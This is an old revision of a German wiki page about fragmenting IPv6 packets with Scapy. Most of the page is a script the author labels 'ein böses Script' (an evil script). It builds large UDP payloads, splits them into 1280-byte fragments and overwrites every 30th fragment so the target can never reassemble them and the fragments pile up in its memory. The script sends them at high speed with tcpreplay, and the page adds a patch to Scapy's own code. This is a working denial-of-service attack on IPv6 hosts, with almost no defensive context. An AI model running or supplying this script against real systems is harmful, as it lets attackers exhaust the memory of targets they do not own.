ne:scapy_fragment_v6-packets
Dies ist eine alte Version des Dokuments!
IPv6-Pakete fragmentieren
>>> i=IPv6(dst="2001:db8:20::1") >>> ext=IPv6ExtHdrFragment() >>> q=UDP()/Raw(load="X"*50000) >>> p=Ether()/i/ext/q ## Ether() is requiered for sendpfast() >>> ar1=fragment6(p, 1280)
Senden:
>>> sendp(ar1)
oder schneller:
>>> sendpfast(ar1)
Ein böses Script
#! /usr/bin/env python from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap import sys ar1=[] target="2001:db8:20::1" fragmentsize=1280 for n in range(1,10): ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden i=IPv6(dst=target) ext=IPv6ExtHdrFragment() q=UDP()/Raw(load="V"*50000) p=Ether()/i/ext/q ar1.extend(fragment6(p, fragmentsize)) f=len(ar1) x=0 while x < f: ## ueberschreibt jedes 30. Fragment mit dem 3. ar1[x]=ar1[2] ## Fragmente werden so nie vollständig übertragen x=x+30 ## und verbleiben im Speicher von target sendpfast(ar1)
Evenuell sind noch folgende Änderungen vorzunehmen
in Scapys sendrecv.py:
257: @conf.commands.register 258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None): -->: from scapy.utils import wrpcap 259: """Send packets at layer 2 using tcpreplay for performance
tcpreplay muss installiert sein:
$ sudo apt-get install tcpreplay
ne/scapy_fragment_v6-packets.1485283742.txt.gz · Zuletzt geändert: 2017/01/24 18:49 von 127.0.0.1